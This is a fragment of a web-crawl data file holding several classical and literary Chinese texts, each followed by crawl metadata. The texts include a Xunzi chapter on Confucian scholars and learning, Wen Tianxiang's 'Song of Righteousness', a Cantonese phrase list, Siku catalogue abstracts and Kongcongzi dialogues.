道畢是矣。鄉是者臧,倍是者亡;鄉是如不臧,倍是如不亡者,自古及今,未嘗有也。\n客有道曰:孔子曰:「周公其盛乎!身貴而愈恭,家富而愈儉,勝敵而愈戒。」應之曰:是殆非周公之行,非孔子之言也。武王崩,成王幼,周公屏成王而及武王,履天子之籍,負扆而立,諸侯趨走堂下。當是時也,夫又誰為恭矣哉!兼制天下,立七十一國,姬姓獨居五十三人焉;周之子孫,苟不狂惑者,莫不為天下之顯諸侯。孰謂周公儉哉!武王之誅紂也,行之日以兵忌,東面而迎太歲,至汜而汎,至懷而壞,至共頭而山隧。霍叔懼曰:「出三日而五災至,無乃不可乎?」周公曰:「刳比干而囚箕子,飛廉、惡來知政,夫又惡有不可焉!」遂選馬而進,朝食於戚,暮宿於百泉,旦厭於牧之野。鼓之而紂卒易鄉,遂乘殷人而誅紂。蓋殺者非周人,因殷人也。故無首虜之獲,無蹈難之賞。反而定三革,偃五兵,合天下,立聲樂,於是武象起而韶護廢矣。四海之內,莫不變心易慮,以化順之。故外闔不閉,跨天下而無蘄。當是時也,夫又誰為戒矣哉?\n造父者,天下之善御者也,無輿馬則無所見其能。羿者,天下之善射者也,無弓矢則無所見其巧。大儒者,善調一天下者也,無百里之地,則無所見其功。輿固馬選矣,而不能以至遠一日而千里,則非造父也。弓調矢直矣,而不能射遠中微,則非羿也。用百里之地,而不能以調一天下,制彊暴,則非大儒也。彼大儒者,雖隱於窮閻漏屋,無置錐之地,而王公不能與之爭名;在一大夫之位,則一君不能獨畜,一國不能獨容,成名況乎諸侯,莫不願得以為臣。用百里之地,而千里之國莫能與之爭勝;笞箠暴國,齊一天下,而莫能傾也。是大儒之徵也。其言有類,其行有禮,其舉事無悔,其持險應變曲當。與時遷徙,與世偃仰,千舉萬變,其道一也。是大儒之稽也。其窮也俗儒笑之;其通也英傑化之,嵬瑣逃之,邪說畏之,衆人媿之。通則一天下,窮則獨立貴名。天不能死,地不能埋,桀跖之世不能汙,非大儒莫之能立,仲尼、子弓是也。故有俗人者,有俗儒者,有雅儒者,有大儒者。不學問,無正義,以富利為隆,是俗人者也。逢衣淺帶,解果其冠,略法先王而足亂世術,繆學雜舉,不知法後王而一制度,不知隆禮義而殺詩書;其衣冠行偽已同於世俗矣,然而不知惡;其言議談說已無異於墨子矣,然而明不能別;呼先王以欺愚者而求衣食焉;得委積足以揜其口,則揚揚如也;隨其長子,事其便辟,舉其上客,億然若終身之虜而不敢有他志:是俗儒者也。法後王,一制度,隆禮義而殺詩書;其言行已有大法矣,然而明不能齊法教之所不及,聞見之所未至,則知不能類也;知之曰知之,不知曰不知,內不自以誣,外不自以欺,以是尊賢畏法,而不敢怠傲:是雅儒者也。法先王,統禮義,一制度;以淺持博,以古持今,以一持萬;苟仁義之類也,雖在鳥獸之中,若別白黑;倚物怪變,所未嘗聞也,所未嘗見也,卒然起一方,則舉統類而應之,無所儗㤰;張法而度之,則晻然若合符節:是大儒者也。故人主用俗人,則萬乘之國亡;用俗儒,則萬乘之國存;用雅儒,則千乘之國安;用大儒,則百里之地,久而後三年,天下為一,諸侯為臣;用萬乘之國,則舉錯而定,一朝而伯。\n不聞不若聞之,聞之不若見之,見之不若知之,知之不若行之。學至於行之而止矣。行之,明也;明之為聖人。聖人也者,本仁義,當是非,齊言行,不失豪釐。無他故焉,已乎行之矣。故聞之而不見,雖博必謬;見之而不知,雖識必妄;知之而不行,雖敦必困。不聞不見,則雖當,非仁也。其道百舉而百陷也。故人無師無法而知,則必為盜,勇則必為賊,云能則必為亂,察則必為怪,辯則必為誕;人有師有法,而知則速通,勇則速威,云能則速成,察則速盡,辯則速論。故有師法者,人之大寶也;無師法者,人之大殃也。\n人無師法,則隆性矣;有師法,則隆積矣。而師法者,所得乎積,非所受乎性。性不足以獨立而治。性也者,吾所不能為也,然而可化也。積也者,非吾所有也,然而可為也。注錯習俗,所以化性也;并一而不二,所以成積也。習俗移志,安久移質。并一而不二,則通於神明,參於天地矣。故積土而為山,積水而為海,旦暮積謂之歲,至高謂之天,至下謂之地,宇中六指謂之極,涂之人百姓,積善而全盡,謂之聖人。彼求之而後得,為之而後成,積之而後高,盡之而後聖。故聖人也者,人之所積也。人積耨耕而為農夫,積斲削而為工匠,積反貨而為商賈,積禮義而為君子。工匠之子,莫不繼事,而都國之民安習其服,居楚而楚,居越而越,居夏而夏,是非天性也,積靡使然也。故人知謹注錯,慎習俗,大積靡,則為君子矣。縱情性而不足問學,則為小人矣;為君子則常安榮矣,為小人則常危辱矣。凡人莫不欲安榮而惡危辱,故唯君子為能得其所好,小人則日徼其所惡。詩曰:「維此良人,弗求弗迪;維彼忍心,是顧是復。民之貪亂,寧為荼毒。」此之謂也。\n人論:志不免於曲私,而冀人之以己為公也;行不免於汙漫,而冀人之以己為脩也;甚愚陋溝瞀,而冀人之以己為知也:是衆人也。志忍私,然後能公;行忍情性,然後能脩;知而好問,然後能才;公脩而才,可謂小儒矣。志安公,行安脩,知通統類:如是,則可謂大儒矣。大儒者,天子三公也;小儒者,諸侯、大夫、士也;衆人者,工農商賈也。禮者,人主之所以為群臣寸尺尋丈檢式也。人倫盡矣。\n君子言有壇宇,行有防表,道有一隆。言政治之求,不下於安存;言志意之求,不下於士;言道德之求,不二後王。道過三代謂之蕩,法二後王謂之不雅。高之下之,小之巨之,不外是矣。是君子之所以騁志意於壇宇宮廷也。故諸侯問政,不及安存,則不告也。匹夫問學,不及為士,則不教也。百家之說,不及後王,則不聽也。夫是之謂君子言有壇宇,行有防表也。","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/h\/h02\/08.html","date":"2024-04-22T07:46:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818081.81\/warc\/CC-MAIN-20240422051258-20240422081258-00163.warc.gz","language":"lzh","language_score":0.5668175817,"language_script":"Hani","minhash_cluster_size":19,"top_langs":"{\"lzh_Hani_score\": 0.566817581653595, \"cmn_Hani_score\": 0.33257389068603516, \"nan_Hani_score\": 0.07547444105148315, \"wuu_Hani_score\": 0.012029871344566345}","num_words":14,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.617,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- 沒有新回應!\n201203121005正氣歌\n天地有正氣 雜然賦流形 下則為河岳 上則為日星 于人曰浩然 沛乎塞蒼冥 皇路當清夷 含和吐明庭 時窮節及現 一一垂丹青 在齊太史簡 在晉董狐筆 在秦張良錐 在漢蘇武節 為巖將軍頭 為稽侍中血 為張睢陽齒 為顏長山舌 或為遼東帽 清操厘冰雪 或為出師表 鬼神泣狀烈 或為度江輯 慷慨吞胡羯 或為擊賊笏 逆豎頭破裂 是氣所旁簿 凜烈萬古存 當其貫日月 生死安足論 地維賴以立 天柱賴以尊 三綱實絲命 道義為之根 嗟余遘陽九 錄也實不力 楚囚纓其冠 傳車送窮北 鼎鑊甘如飴 求之不可得 陰房闃鬼火 春院閟天黑 牛驥同一皁 鸛棲鳳凰食 一朝蒙霧露 分作溝中瘠 如此再寒暑 百沴自辟易 哀哉沮洳場 為我安樂國 豈有他繆巧 陰陽不能賊 顧此耿耿存 仰視浮雲白 悠悠我心悲 蒼天曷有極 哲人日已遠 典型在夙昔 風檐展書讀 古道照顏色.⋯⋯","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/blog.xuite.net\/hzj20122\/twblog","date":"2014-03-07T03:36:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999635677\/warc\/CC-MAIN-20140305060715-00059-ip-10-183-142-35.ec2.internal.warc.gz","language":"lzh","language_score":0.530356884,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.5303568840026855, \"cmn_Hani_score\": 0.3126393258571625, \"nan_Hani_score\": 0.1467733383178711}","num_words":62,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.54,"perplexity_score":500.0,"cluster_detection":1} +{"text":"温馨提示:暂时只支持20个文字以下的输入!\n大家最近在学的词句:你真係有心嘞、 你亚爸身子几好吖吗、 几好你有心、 你近嚟身子几好吖吗、 你好耐冇嚟我屋企玩啰噃、 我好耐冇见张生啰噃、 早晨好耐冇见你啰噃、 张生早晨、 佢嘅孙仔好百厌架、 我睇佢做嘢实係好叻嘞、 佢係有名嘅百厌仔嚟架、 睇嚟你嘅女读书实係好叻嘞、 我嘅大仔读紧中二、 佢嘅细仔未读书、 佢读紧小一、 你嘅细女读书未呀、 搞事就躝开啲啦、 呢锅你仲唔冚家产、 你班仆街俾我唞下得唔得呀、 屌你老母閪、 柒少阵当帮忙、 佢好撚劲次次考试都攞一百分、 正一憨尻仔、 屌嗱妈顶硬上、 盏灯吊吊揈就跌咁款、 急急脚咁去边度呀、 啲饭咁嚡点食呀、 今次濑嘢啦、 我打紧机唔得闲、 我瞓啦早唞、 笨猪跳啫唔使淆低喎、 倒咗杯水落个客度俾老晒插爆、 阿婆话今日要劏鸡还神、 揸抢要先练好手力、 细个嗰阵成日孭细佬行返屋企、 行路打倒褪、 记住执干净啲间屋、 我一枪打瓜你、 咪老点喎、 考试考成点呀、","id":"","dump":"CC-MAIN-2015-11","url":"http:\/\/www.yueyv.cn\/","date":"2015-03-05T20:11:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-11\/segments\/1424936464840.47\/warc\/CC-MAIN-20150226074104-00226-ip-10-28-5-156.ec2.internal.warc.gz","language":"lzh","language_score":0.4288753867,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4288753867149353, \"cmn_Hani_score\": 0.42292118072509766, \"jpn_Jpan_score\": 0.10326684266328812, \"wuu_Hani_score\": 0.02927860990166664, \"yue_Hani_score\": 0.014495255425572395}","num_words":41,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.453,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.《切韵》﹑《广韵》﹑《集韵》等韵书按平﹑上﹑去﹑入四声编排,上﹑去﹑入各为一卷,平声因字多,又分为上平声和下平声两卷,简称\"上下平\"。参阅清陈澧《切韵考》。\n上丁 上三旗 上上 上上下下 上上乘 上上人 上上手 上下 上下一心 上下为难 上下交困 上下交征 上下其手 上下同心 上下同欲 上下同门 上下和合 上下床 上下忙 下一钩子 下三流 下三烂 下上 下下 下下人 下下细细 下不为例 下不了台 下不去 下不来 下不来台 下世 下中 下中农 下中天 下串 下临 下丹田 下乔入幽 平一 平一公 平三套 平上帻 平上軿车 平下 平世 平业 平两 平中 平乏 平乐 平乐苑 平乐观 平乐馆 平乘 平乱 平事 平云 平交","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/cidian.xpcha.com\/e8f6eei8ir9.html","date":"2017-03-27T02:53:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189377.63\/warc\/CC-MAIN-20170322212949-00396-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4663415253,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4663415253162384, \"nan_Hani_score\": 0.404191792011261, \"cmn_Hani_score\": 0.10818325728178024, \"wuu_Hani_score\": 0.011830829083919525}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.363,"stopwords_ratio":0.017,"flagged_words_ratio":0.0,"lang_id_score":0.502,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝曹一士撰。石倉世纂之第五種也。與其詩集。同刻於乾隆庚午。其論文之旨。謂古文之所以稱古者。乃意義之古。非詞句之古。有明潛溪遵巖荊川震川。其文詞之近時者甚多。不以此損其古意。于麟元美。字句之古。幾於無一不肖。而終與古遠。觀其持論。可以見其宗旨矣。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0410001.html","date":"2017-03-23T20:13:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218187206.64\/warc\/CC-MAIN-20170322212947-00118-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4619555473,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.46195554733276367, \"cmn_Hani_score\": 0.33654212951660156, \"jpn_Jpan_score\": 0.060906585305929184, \"yue_Hani_score\": 0.03117983415722847, \"wuu_Hani_score\": 0.029242772608995438, \"nan_Hani_score\": 0.014220532029867172, \"zxx_Latn_score\": 0.013841583393514156}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.462,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝毛奇齡所論。其門人章大來樓宅中朱樟陳佑。及其子遠宗姪文輝編次。而各附以己說。皆與朱子章句互異。大旨以愼獨爲主。闡劉宗周之旨。蓋宗周奇齡之鄕人也。奇齡博洽羣書。其說經善於考證。至於舍考證而談義理。則違才易務。非其所長。又以辨才濟之。愈辨而愈支。固其所矣。","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0077702.html","date":"2017-03-30T16:33:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218195419.89\/warc\/CC-MAIN-20170322212955-00258-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.4035486579,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4035486578941345, \"cmn_Hani_score\": 0.1268211305141449, \"zxx_Latn_score\": 0.12553055584430695, \"und_Hira_score\": 0.04666204750537872, \"jpn_Jpan_score\": 0.025760095566511154, \"und_Tang_score\": 0.025119857862591743, \"und_Kthi_score\": 0.019724857062101364, \"wuu_Hani_score\": 0.01930742710828781, \"und_Hluw_score\": 0.0170529093593359, \"und_Beng_score\": 0.016791386529803276, \"und_Xsux_score\": 0.01665717177093029, \"und_Aghb_score\": 0.01057322509586811}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.404,"perplexity_score":500.0,"cluster_detection":1} +{"text":"呂祖規戒訓文:\n今日之世 學道每於信道之餘 仍不少醉心於利鎖名疆之境界 幻夢不常 好花不現 六欲不能蔽 逐使七情常擾道心 尤以情慾之縱 不能自韉 逐使道力日見其下 聞有信道篤道之後 神必助我 以一信之念而獲神佑者 將有所幻夢 寄於神仙 以冀藉此而獲富貴 倘若不能達於願或處境失常 則怨道之不貴 神之弗靈也! 因此之故 每有篤信之士 而此與道離 世人不明者 自怨之外 怨及神祇 須知:道之成 非憑信\/篤便便可成功者 行乃道之軌 修乃道之本也 不修不行只憑ㄧ信念 又焉可成道也耶! 藉神仙以邀福祿學道而患貧窮 非道也 ! 欲求其福 竭道以行 則真福樂於道上也! 『行而不見其真 行之不全也 修而未見其法 火候未至也』 若一二之失 處境不常而怨於道 非道子之所為也!\n老子曰:觀空不空 真乃見空! 又曰:不忍於道 不見其道 大士曾曰:難行能行 難忍能忍 便證真道! 吾今曰:**願富貴而後行道非道也** 不患貧而患道之不成 此乃真道也! 孟聖有云:天將降大任於斯人也 必先勞其筋骨 餓其體膚 學道亦如是 試以人心堅否? 要將磨折看心腸 道力越高折磨越大 疾風知勁草 信哉斯言! 凡學道者 能不斷而行道 任教磨折般苦 自我還真證本根 如斯以為道自成也 願門人明真締可矣 有道何須患窮貧 古來憂道不憂貧 數字原來由數定 肯將道力誠 人身萬般得失一樣空 貧富歸真果是同 功名顯赫原化幻 何妨無物在心中。(完)\nPs:天道降世 拯救善靈 指破人人身中天道 以其群性達本還源臻無極以朝先天*母*也 如:錯失良機縱汝人道盡備亦難登峯造極矣 我切比喻焉 如一讀書人雖學問飽富而不入科場 則名難昭矣 此之謂!\nPs:請有心學修者 詳細觀之 必得領悟其中之真理! ~ 感恩 ~!","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/cpu0307.pixnet.net\/blog\/post\/12387850-%E5%91%82%E4%BB%99%E7%A5%96%E4%BF%AE%E9%81%93%E6%88%92%E8%A6%8F%EF%BD%9E%E8%BD%89%E8%B2%BC-%E5%BC%95%E7%94%A8%E8%87%AA%E3%80%8E%E9%87%91%E9%BE%8D%E7%8E%8B%E7%B6%B2%E8%B7%AF","date":"2018-01-20T07:19:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889473.61\/warc\/CC-MAIN-20180120063253-20180120083253-00677.warc.gz","language":"lzh","language_score":0.6491681933,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.6491681933403015, \"nan_Hani_score\": 0.2118246704339981, \"cmn_Hani_score\": 0.12870676815509796}","num_words":90,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.775,"perplexity_score":500.0,"cluster_detection":1} +{"text":"魏之圍邯鄲\n魏之圍邯鄲也。申不害始合于韓王,然未知王之所欲也,恐言而未必中于王也。王問申子曰:「吾誰與而可?」對曰:「此安危之要,國家之大事也。臣請深惟而苦思之。」乃微謂趙卓、韓晁曰:「子皆國之辯士也,夫為人臣者,言可必用,盡忠而已矣。」二人各進議于王以事。申子微視王之所說以言于王,王大說之。","id":"","dump":"CC-MAIN-2018-05","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/373.htm","date":"2018-01-21T14:58:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890771.63\/warc\/CC-MAIN-20180121135825-20180121155825-00121.warc.gz","language":"lzh","language_score":0.5541773438,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.5541773438453674, \"cmn_Hani_score\": 0.39429259300231934, \"jpn_Jpan_score\": 0.0224131029099226, \"nan_Hani_score\": 0.012580275535583496, \"wuu_Hani_score\": 0.011830744333565235}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.605,"perplexity_score":500.0,"cluster_detection":1} +{"text":"陈惠公大城.因起凌阳之台.未终.而坐法死者数十 人.又执三监吏.夫子适陈.闻之.见陈侯.与俱登台 而观焉.夫子曰美哉斯台.自古圣王之为城台.未有不 戮一人而能致功若此者也.陈侯默而退.遂窃赦所执吏 .既而见夫子.问曰昔周作灵台亦戮人乎.荅曰文王之 兴.附者六州.六州之众.各以子道来.故区区之台. 未及期日而巳成矣.何戮之有乎.夫以少少之众.能立 大大之功.唯君尔.\n子张曰、女子必渐乎二十而后嫁.何也.孔子曰十五 许嫁而后从夫.是阳动而阴应.男唱而女随之义也.以 为缋组紃织纴者.女子之所有事也.黼黻文章之义.妇 人之所有大功也.必十五以往渐乎二十.然后可以通乎 此事.通乎此事.然后乃能上以孝于舅姑.下以事夫养 子也.\n宰我使于齐而反.见夫子.曰梁邱据遇虺毒.三旬而 后瘳.朝齐君.齐君会大夫众宾而庆焉.弟子与在宾列 .大夫众宾并复献攻疗之方.弟子谓之曰夫所以献方将 为病也.今梁邱巳疗矣.而诸夫子乃复献方.方将安施 .意欲梁邱大夫复有虺害当用之乎.众坐默然无辞.弟 子此言何如.夫子曰汝说非也.夫三折肱为良毉.梁邱 子遇虺毒而获疗.犹有与之同疾者.必问所以巳之之方 焉.众人为此故各言其方.欲售之以巳人之疾也.凡言 其方者.称其良也.且以□据所以巳之之方优劣耳.\n夫子适齐.晏子就其馆.既宴其私焉.曰齐其危矣. 譬若载无辖之车以临千仞之谷.其不颠覆亦难冀也.子 吾心也.子以齐为游息之馆.当或可救.子幸不吾隐也 .夫子曰夫死病无可为毉.夫政令者、人君之衔辔.所 以制下也.今齐君失之巳久矣.子虽欲挟其辀而扶其轮 .良弗及也.抑犹可以终齐君及子之身.过此以往齐其 田氏矣.\n齐东郭亥欲攻田氏.执贽见夫子而访焉.夫子曰子为\n义也.丘不足与计事.揖子贡使荅之.子贡谓之曰今子\n士也.位卑而图大.位卑则人不附也.图大则人惮之.\n殆非子之任也.盍姑巳乎.夫以一缕之任.系千钧之重\n.上县之于无极之高.下垂之于不测之深.旁人皆哀其\n绝.而造之者不知其危.子之谓乎马方骇鼓而惊之.系\n方绝重而填之.马奔车覆.六辔不禁.系绝于高.坠入\n于深.其危必矣.东郭亥免战而跪.曰吾巳矣.愿子无\n言.既而夫子告子贡曰、东郭亥欲为义者也.子亦告之\n以难易则可矣.奚至惧之哉.宰我问君子尚辞乎.孔子\n曰、君子以理为尚.博而不要.非所察也.繁辞富说.\n非所听也.唯知者不失理.孔子曰吾于予取其言之近类\n也.于赐取其言之切事也.近类则足以喻之.切事则足\n以惧之.\n子张问曰、礼丈夫三十而室.昔者舜三十征庸.而书 云有鳏在下曰虞舜何谓也.曩师闻诸夫子曰、圣人在上 .君子在位.则内无怨女.外无旷夫.尧为天子而有鳏 在下.何也.孔子曰夫男子二十而冠.冠而后娶.古今 通义也.舜父顽母嚚.莫克图室家之端焉.故逮三十而 谓之鳏也.诗云娶妻如之何、必告父母、父母在则宜图 婚.若巳殁则巳之娶必告其庙.会舜之鳏.乃父母之顽 嚚也.虽尧为天子.其如舜何.\n子夏问书大义.子曰吾于帝典、见尧舜之圣焉于大禹 、皋陶谟、益稷、见禹稷皋陶之忠勤功勋焉.于洛诰、 见周公之德焉.故帝典可以观美.大禹谟禹贡可以观事 .皋陶谟益稷可以观政.洪范可以观度.谓 皇极彝伦之度秦誓可以观义.五诰可以观仁.甫刑 可以观诫.通斯七者.则书之大义举矣.孔子曰、书之 于事也.远而不阔.近而不迫.志尽而不怨.辞顺而不 □.吾于高宗肜日、见德有报之疾也.茍由其道致其仁 .则远方归志而致其敬焉.吾于洪范、见君子之不忍言 人之恶而质人之美也.发乎中而见乎外以成文者.其唯 洪范乎.\n子张问曰、尧舜之世.一人不刑而天下治.何则.以 教诚而爱深也.龙子以为一夫而被以五刑敢问何谓.子 曰不然五刑所以佐教也.龙子未可谓能为书也.\n子夏读书既毕而见于夫子.夫子谓曰子何为于书.子 夏对曰书之论事也.昭昭然若日月之代明.离离然若星 辰之错行.上有尧舜之道.下有三王之义.凡商之所受 书于夫子者.志之于心弗敢忘.虽退而穷居河济之间. 深山之中.作壤室.编蓬户.常于此弹琴以歌先王之道 .则可以发愤慷喟忘巳贫贱.故有人亦乐之.无人亦乐 之.上见尧舜之德.下见三王之义.忽不知忧患与死也 .夫子愀然变容.曰嘻.子殆可与言书矣.虽然.其亦 表之而巳未睹其里也.夫窥其门而不入其室.恶睹其宗 庙之奥百官之美乎.\n宰我问书云纳于大麓烈风雷雨弗迷.何谓也.孔子曰 、此言人事之应乎天也.尧既得舜.历试诸难.巳而纳 之于尊显之宫.使大录万机之政.是故阴阳清和.五星 不悖.烈风雨各以其应.不有迷错愆伏.明舜之行合于 天也.\n宰我曰、敢问禋于六宗何谓也.孔子曰、所宗者六. 皆洁祀之也.埋少牢于九昭.所以祭时也.祖迎于坎坛 .所以祭寒暑也.主于郊宫.所以祭时也.夜明所以祭 月也.幽荥所以祭星也.雩荥.所以祭水旱也.禋于六 宗.此之谓也.\n书曰、兹予大享于先王尔祖其从与享之.季桓子问曰 、此何谓也.孔子曰、古之王者.臣有大功.死则必祀 之于庙.所以殊有绩劝忠勤也.盘庚举其事以厉其世臣 故称焉.桓子曰、天子之臣有大功者.则既然矣.诸侯 之臣有大功者.可以如之乎.孔子曰劳能定国.功加于 民.大臣死难.虽食之公庙可也.桓子曰、其位次如何 .孔子曰、天子诸侯之臣.生则有列于朝.死则有位于 庙其序一也.\n书曰、维高宗报上甲微.上甲微契后 八世汤之先也定公问曰、此何谓也.孔子对曰、此 谓亲尽庙毁有功而不及祖.有德而不及宗.故于每岁之 大尝而报祭焉.所以昭其功德也.公曰先君僖公功德前 行.或作前列可以与于报乎.孔 子曰丘闻昔虞夏商周、以帝王行此礼者则有矣.自此以 下.未之知也.\n定公问曰、周书所谓庸庸祗祗威威显民.何谓也.孔 子对曰、不失其道.明之于民之谓也.大能用可用则正 治矣.敬可敬则尚贤矣.畏可畏则服刑恤矣.君审此三 者以示民.而国不兴.未之有也.\n子张问书云奠高山.何谓也.孔子曰、高山五岳.定 其差秩.祀所视焉.子张曰其礼如何.孔子曰、牲币之 物.五岳视三公.小名山视子男.子张曰、仁者何乐于 山.孔子曰夫山者岿然高.子张曰、高则何乐尔.孔子 曰、夫山、草木植焉.鸟兽蕃焉.财用出焉.直而无私 焉.四方皆伐焉.直而无私.兴吐风云.以通乎天地之 间.阴阳和合.雨露之泽.万物以成.百姓咸飨.此仁 者之所以乐乎山也.\n孟懿子问书曰、钦四邻.何谓也.孔子曰、王者前有 疑、后有丞、左有辅、右有弼、谓之四近.言前后左右 近臣当畏敬之.不可以非其人也.周文王胥附奔辏先后 御侮谓之四邻.以免乎羑里之害.懿子曰、夫子亦有四 邻矣.孔子曰、吾有四友焉.自吾得回也.门人加亲是 非胥附乎.自吾得赐也.远方之士日至是非奔辏乎.自 吾得师也.前有光后有辉是非先后乎.自吾得仲由也. 恶言不至于门是非御侮乎.孔子见齐景公.梁丘据自外 而至.公曰何迟.对曰陈氏戮其小臣.臣有辞.为是故 迟.公笑而目孔子.曰周书所谓明德慎罚.陈子明德也 .罚人而有辞.非不慎矣.孔子答曰、昔康叔封卫.统 三监之地.命为孟侯.周公以成王之命作康诰焉.称述 文王之德.以成敕诫之文.其书曰惟乃丕显考文王.克 明德慎罚.克明德者.能显用有德举而任之也.慎罚者 并心而虑之.众平然后行之.致刑错也.此言其所任不 失德.所罚不失罪不谓巳德之明也.公曰寡人不有过言 .则安得闻吾子之教也.\n书曰其在祖甲不义惟王.公西赤曰闻诸晏子、汤及太 甲、武丁、祖乙、天下之大君.夫太甲为王.居丧行不 义.同称君.何也.孔子曰、君子之于人.计功而除过 .太甲即位.不明居丧之礼.而于冢宰之政.伊尹放之 于桐.忧思三年.追悔前愆.起而复位.谓之明王.以 此观之.虽四于三王.不亦可乎.\n鲁哀公问书□夔曰于予击石拊石百兽率舞庶尹允谐.\n何谓也.孔子对曰此言善政之化乎物也.古之帝王功成\n作乐.其功善者其乐和.乐和则天地犹且应之.况百兽\n乎.夔为帝舜乐正.实能以乐尽治理之情.公曰然则政\n之大本莫尚夔乎.孔子曰、夫乐所以歌其成功.非政之\n本也.众官之长.既咸熙熙.然后乐乃和焉.公曰吾闻\n夔一足有异于人.信乎.孔子曰昔重黎举夔而进.又欲\n求人而佐焉.舜曰夫乐天地之精也.唯圣人为能和六律\n.均五音.知乐之本.以通八风夔能若此.一而足矣.\n故曰一足.非一足也.公曰善.\n秦庄子死.孟武伯问于孔子.曰古者同寮有服乎.答 曰然.同寮有相友之义.贵贱殊等.不为同官.闻诸老 聃.昔者虢叔、闳夭、太颠、散宜生南宫适、五臣同寮 比德以赞文武.及虢叔死四人者为之服朋友之服.古之 达理者行之也.\n公父文伯死.室人有从死者.其母怒而不哭.相室谏 之.其母曰孔子.天下之贤人也.不用于鲁.退而去. 是子素宗之而不能随.今死而内人从死者二人焉.若此 .于长者薄于妇人厚也.既而夫子闻之.曰季氏之妇尚 贤哉.子路愀然对曰夫子亦好人之誉巳乎.夫子死而不 哭.是不慈也.何善尔.子曰怒其子之不能随贤.所以 为尚贤者.吾何有焉.其亦善此而巳矣.\n卫出公使人问孔子曰、寡人之任臣无大小.一一自观 察之.犹复失人.何故.答曰如君之言.此即所以失之 也.人既难知非言问所及.观察所尽.且人君之虑者多 .多虑则意不精.以不精之意.察难知之人.宜其有失 也.君未之闻乎.昔者舜臣尧.官才任士.尧一从之. 左右曰.人君用士.当自任耳目.而取信于人.无乃不 可乎.尧曰吾之举舜.巳耳目之矣.今舜所举人.吾又 耳目之.是则耳目人.终无巳巳也.君茍付可付.则巳 不劳而贤才不失矣.\n子贡问曰、昔孙文子以卫侯哭之不哀.知其将为乱. 不敢舍其重器而行.尽置诸戚而善晋大夫二十人.或称 其知.何如.孔子曰人知其为知也.吾未知其为知也. 子贡曰敢问何谓也.子曰食其禄者必死其事.孙子知卫 君之将不君.不念伏死以争.而累规去就.尸利携贰. 非人臣也.臣而有不臣之心.明君所不赦.幸哉.孙子 之以此免戮也.\n孔子使宰予使于楚.楚昭王以安车象□.因宰予以遗 孔子焉.宰予曰夫子无以此为也.王曰何故.对曰臣以 其用.思其所在观之.有以知其然.王曰言之.宰予对 曰自臣侍从夫子以来.窃见其言不离道.动不违仁.贵 义尚德.清素好俭.仕而有禄不以为积.不合则去.退 无吝心.妻不服彩.妾不衣帛.车器不雕.马不食粟. 道行则乐其治.不行则乐其身.此所以为夫子也.若夫 观目之丽靡.窈窕之淫音.夫子过之弗之视.遇之弗之 听也.故臣知夫子之无用此车也.王曰然则夫子何欲而 可.对曰方今天下道德寝息.其志欲兴而行之.天下诚 有欲治之君.能行其道.则夫子虽徒步以朝.固犹为之 .何必远辱君之重贶乎.王曰乃今而后知孔子之德也大 矣.宰予归以告孔子.孔子曰二三子以予之言何如.子 